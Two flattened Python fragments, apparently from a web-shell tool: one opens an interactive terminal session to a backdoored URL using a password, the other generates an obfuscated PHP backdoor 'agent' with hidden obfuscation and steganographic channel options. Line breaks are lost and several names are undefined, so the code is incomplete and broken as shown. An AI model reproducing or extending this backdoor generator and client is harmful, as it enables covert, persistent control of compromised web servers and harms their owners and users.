from core import modules from core import messages from core import config import sys import pprint if __name__ == '__main__': try: if len(sys.argv) == 3 and sys.argv[1].startswith('http'): session = SessionURL( url = sys.argv[1], password = sys.argv[2]) elif len(sys.argv) == 2: session = SessionFile(sys.argv[1]) else: log.info(__doc__) raise FatalException(messages.generic.error_missing_arguments) log.debug( pprint.pformat(session) ) modules.load_modules(session) Terminal(session).cmdloop() except (KeyboardInterrupt, EOFError): log.info('Exiting.') except FatalException as e: log.critical('Exiting: %s' % e)
# HelpParser is a slightly changed `ArgumentParser` argparser = helpparse.HelpParser(description = __doc__) argparser.add_argument('password', help = 'The agent password') argparser.add_argument('path', help = 'Where save the generated agent') argparser.add_argument( '-obfuscator', help = helpparse.SUPPRESS, #The obfuscation method choices = obfuscators_available, default = 'obfusc1_php' ) argparser.add_argument( '-agent', help = helpparse.SUPPRESS, #The agent channel type choices = agents_available, default = 'stegaref_php' ) args = argparser.parse_args() obfuscated = generate( password = args.password, obfuscator = args.obfuscator, agent = args.agent ) save_generated(obfuscated, args.path) log.info( messages.generate.generated_backdoor_with_password_s_in_s_size_i % (args.password, args.path, len(obfuscated)))